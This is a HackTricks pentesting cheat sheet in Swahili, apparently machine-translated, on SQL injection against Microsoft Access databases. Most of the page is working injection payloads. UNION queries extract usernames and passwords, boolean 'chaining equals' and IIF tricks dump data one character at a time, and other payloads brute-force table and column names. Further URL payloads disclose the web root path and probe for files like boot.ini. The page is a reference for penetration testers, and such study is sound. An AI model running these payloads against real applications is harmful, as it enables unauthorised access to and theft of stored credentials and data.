MS Access SQL Injection

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Online Playground

DB Limitations

String Concatenation

Kuunganisha nyuzi kunawezekana kwa kutumia wahusika & (%26) na + (%2b).

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Maoni

Hakuna maoni katika MS access, lakini inaonekana inawezekana kuondoa ya mwisho ya uchunguzi kwa kutumia herufi ya NULL:

sql
1' union select 1,2 from table%00

Ikiwa hii haifanyi kazi unaweza kila wakati kurekebisha sintaksia ya ombi:

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

Haziruhusishwa.

LIMIT

Mwandiko wa LIMIT haujawekwa. Hata hivyo, inawezekana kupunguza matokeo ya swali la SELECT kwa safu za kwanza N za jedwali kwa kutumia mwandiko wa TOP. TOP inakubali kama hoja nambari, ikiwakilisha idadi ya safu zitakazorejeshwa.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Kama TOP unaweza kutumia LAST ambayo itapata safu kutoka mwisho.

UNION Queries/Sub queries

Katika SQLi kwa kawaida utataka kwa namna fulani kutekeleza uchunguzi mpya ili kutoa taarifa kutoka kwa meza nyingine. MS Access kila wakati inahitaji kwamba katika subqueries au uchunguzi wa ziada FROM inapaswa kuonyeshwa.
Hivyo, ikiwa unataka kutekeleza UNION SELECT au UNION ALL SELECT au SELECT kati ya mabano katika hali, kila wakati unahitaji kuonyesha FROM na jina halali la meza.
Kwa hivyo, unahitaji kujua jina halali la meza.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

Hii itakuruhusu kutoa thamani za jedwali la sasa bila kuhitaji kujua jina la jedwali.

MS Access inaruhusu sintaksia ya ajabu kama '1'=2='3'='asd'=false. Kama kawaida, SQL injection itakuwa ndani ya WHERE clause tunaweza kuitumia hiyo.

Fikiria una SQLi katika hifadhidata ya MS Access na unajua (au umekisia) kwamba jina moja la safu ni username, na hiyo ndiyo sehemu unayotaka kutoa. Unaweza kuangalia majibu tofauti ya programu ya wavuti wakati mbinu ya chaining equals inatumika na kwa uwezekano kutoa maudhui kwa kutumia boolean injection kwa kutumia Mid function kupata substrings.

sql
'=(Mid(username,1,3)='adm')='

Ikiwa unajua jina la jedwali na safu ya kutupa unaweza kutumia mchanganyiko kati ya Mid, LAST na TOP ili kuvuja taarifa zote kupitia boolean SQLi:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing Majina ya Meza

Kwa kutumia mbinu ya kuunganisha sawa unaweza pia bruteforce majina ya meza na kitu kama:

sql
'=(select+top+1+'lala'+from+<table_name>)='

Unaweza pia kutumia njia ya jadi zaidi:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Brute-Forcing Majina ya Safu

You can brute-force current columns names with the chaining equals trick with:

sql
'=column_name='

Au kwa group by:

sql
-1' GROUP BY column_name%00

Au unaweza kutumia brute-force majina ya safu za meza tofauti na:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

Tumesha jadili mbinu ya kuunganisha sawa kutoa data kutoka kwa meza za sasa na nyingine. Lakini kuna njia nyingine:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Kwa kifupi, ombi linatumia taarifa ya "ikiwa-kisha" ili kuanzisha "200 OK" katika kesi ya mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia opereta TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi yanayofuata ya LAST yanaruhusu kuzingatia tuple ya 10 tu. Kwenye thamani hiyo, kwa kutumia opereta MID, inawezekana kufanya kulinganisha kwa wahusika rahisi. Kwa kubadilisha ipasavyo index ya MID na TOP, tunaweza kutoa maudhui ya uwanja wa "username" kwa safu zote.

Muda Iliyotegemea

Angalia https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Kazi Nyingine za Kuvutia

  • Mid('admin',1,1) pata sehemu ya neno kutoka nafasi 1 urefu 1 (nafasi ya mwanzo ni 1)
  • LEN('1234') pata urefu wa mfuatano
  • ASC('A') pata thamani ya ascii ya wahusika
  • CHR(65) pata mfuatano kutoka thamani ya ascii
  • IIF(1=1,'a','b') ikiwa kisha
  • COUNT(*) Hesabu idadi ya vitu

Kuorodhesha meza

Kutoka hapa unaweza kuona ombi la kupata majina ya meza:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Hata hivyo, kumbuka kwamba ni kawaida kupata SQL Injections ambapo huna ufaccess wa kusoma jedwali MSysObjects.

Ufikiaji wa Faili

Njia Kamili ya Katalogi ya Msingi wa Mtandao

Ujuzi wa njia kamili ya msingi wa mtandao unaweza kusaidia mashambulizi zaidi. Ikiwa makosa ya programu hayajafichwa kabisa, njia ya katalogi inaweza kufichuliwa kwa kujaribu kuchagua data kutoka kwa hifadhidata isiyokuwepo.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access inajibu kwa ujumbe wa kosa unaoonyesha njia kamili ya katalogi ya wavuti.

Uhesabuji wa Faili

Vector ifuatayo ya shambulio inaweza kutumika kujua uwepo wa faili kwenye mfumo wa mbali. Ikiwa faili iliyotajwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Njia nyingine ya kuhesabu faili inajumuisha kueleza kipengee cha database.table. Ikiwa faili iliyotajwa ipo, MS Access inaonyesha ujumbe wa kosa la muundo wa hifadhidata.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Kukisia Jina la Faili .mdb

Jina la faili la hifadhidata (.mdb) linaweza kufahamika kwa kutumia ombi lifuatalo:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Ambapo name[i] ni jina la faili la .mdb na realTable ni jedwali lililopo ndani ya hifadhidata. Ingawa MS Access daima itasababisha ujumbe wa kosa, inawezekana kutofautisha kati ya jina la faili lisilo sahihi na jina la faili la .mdb lililo sahihi.

Kivunja Nenosiri la .mdb

Access PassView ni zana ya bure inayoweza kutumika kurejesha nenosiri kuu la hifadhidata ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks